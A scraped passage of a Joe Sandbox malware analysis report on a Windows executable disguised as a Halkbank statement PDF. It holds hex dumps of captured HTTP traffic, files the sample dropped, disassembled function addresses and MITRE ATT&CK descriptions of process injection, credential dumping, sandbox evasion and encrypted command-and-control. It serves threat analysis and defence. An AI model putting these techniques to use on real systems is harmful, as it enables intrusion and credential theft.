26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 Feb 2023 10:24:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-UA-Compatible: IE=edgeLink: <https://ladybillplanet.com/wp-json/>; rel="https://api.w.org/"Vary: Accept-Encodinghost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Endurance-Cache-Level: 2X-nginx-cache: WordPressCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 79c688f65ee62c22-FRAContent-Encoding: gzipData Raw: 32 33 39 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d db 8e dc 46 96 e0 b3 ea 2b 42 14 4a 95 69 93 4c de 93 99 59 59 6e 5b 96 dd 5e cb 97 b5 e4 35 ba 65 41 88 24 23 33 a9 62 92 34 23 b2 b2 ca e5 02 fa a1 1f 06 8b 05 e6 61 dc c0 62 d7 33 98 79 58 60 5f 16 e8 dd e9 dd e9 87 de fd 20 cb fd 0f 8b 13 11 64 92 99 cc 4b 55 49 c6 60 ac 12 54 45 46 9c 5b 9c 38 71 e2 c4 95 c7 77 df ff ec c1 93 df 7c fe 10 4d d9 2c 3e 39 38 86 3f 28 c6 c9 64 a8 9c a6 da c7 5f 28 90 46 70 78 72 70 e7 78 46 18 46 c1 14 e7 94 b0 a1 f2 e5 93 0f 34 5f 29 d3 13 3c 23 c3 a3 3c 1d a5 8c 1e a1 20 4d 18 49 d8 f0 28 49 a3 24 24 e7 2a 1a a7 71 9c 2e 8e 50 e7 e4 a0 82 a0 9c 45 64 91 a5 39 53 4a 14 65 11 85 6c 3a 0c c9 59 14 10 8d bf a8 28 4a 22 16 e1 58 a3 01 8e c9 d0 e4 6c ef 6a 1a 7a 32 8d 28 a2 11 23 28 a2 28 cd 58 34 8b be 25 21 5a 44 6c 8a d8 94 a0 df a4 98 32 f4 f8 e1 67 28 8b e7 93 28 41 67 96 a1 9b 48 43 53 c6 32 da ef 74 2e 00 40 0f d2 59 67 91 e6 61 96 13 4a 3b 02 94 76 28 49 3b 48 d3 80 17 8b 58 4c 4e 3e c7 13 82 92 94 a1 71 3a 4f 42 a4 a1 1f ff d7 ff fd e9 1f 7f 40 3f fe cf 3f fd f8 c7 3f a0 97 7f fb fb 9f fe eb ef 7e fa fb 3f 1d 77 04 7c a1 9b 2c 4f 33 92 b3 8b a1 92 4e fa 71 0a 65 a8 94 f7 34 7d fe f1 17 0a 28 a6 09 9c 53 aa 40 ef 2b c3 46 82 a0 ad e7 a0 fc 0a d1 ed 34 68 90 47 19 43 ec 22 23 43 05 67 59 1c 05 98 45 69 d2 89 c3 b7 5f d0 34 51 50 10 63 4a 87 0a 57 a6 46 83 29 99 61 6d 92 e3 6c aa 9c 5c 2a bf e2 6c ce 99 d2 57 0a ad 0b 10 3d cd 27 8a aa fc 4a 40 f6 9f 5e 2a bf 02 1e 4a 5f f9 8a 8c 1e 47 8c 40 66 14 56 f0 62 1c 5e 8c a2 38 ce 62 9c 10 51 6d f7 16 64 44 05 ec 3c 8f b7 c3 2a aa c2 0b de df 58 60 55 09 89 28 6e 94 26 00 f7 97 ff 81 fe fa 87 df ff f4 5f be ff eb 1f 7e 28 54 fd f2 8f 7f 5b 60 fe f4 8f 7f 78 f9 cf 7f 7a f9 df fe 82 7e fa e3 ff fb e9 ef 7f ff d3 df fc 67 f4 d3 3f fc cd cb ff f8 3d 7a f9 e7 ef 5f fe d3 0f 3f fe cb 9f 15 55 c9 52 d0 73 84 e3 77 03 41 b8 52 d6 c7 04 e7 c1 54 66 a8 0a c3 f9 84 30 a5 bf 04 78 98 b0 fc e2 f3 34 4a 98 28 e3 13 32 cb 62 cc c8 f6 b2 be 43 87 97 94 93 7e ce 48 3e 7b 4e 59 1e 25 93 2b e5 4a 55 be 99 93 fc 42 8b 92 6c 0e 75 92 93 6f e6 51 4e 42 d1 20 d7 51 94 ab 67 aa 12 25 8f 70 32 99 e3 09 70 15 8e e1 ea d9 d5 71 47 e8 Data Ascii: 2390}F+BJiLYYn[^5eA$#3b4#ab3yX`_ dKUI`TEF[8qw\|M,>98?(d_(FpxrpxFF4_)<#< MI(I$$*q.PEd9SJel:Y(J"

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\-912K03JO

C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf

C:\Users\user\AppData\Local\Temp\ngzifdk.p

C:\Users\user\AppData\Local\Temp\nsvF67E.tmp

C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Function 00403640 Relevance: 91.4, APIs: 34, Strings: 18, Instructions: 450
stringfilecomCOMMON

Function 00405D74 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00406D5F Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 0040699E Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 004040C5 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Function 00403D17 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 004030D0 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Function 004069C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00405B99 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00403479 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Function 00406187 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00403C25 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20
COMMON

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Function 0040603F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre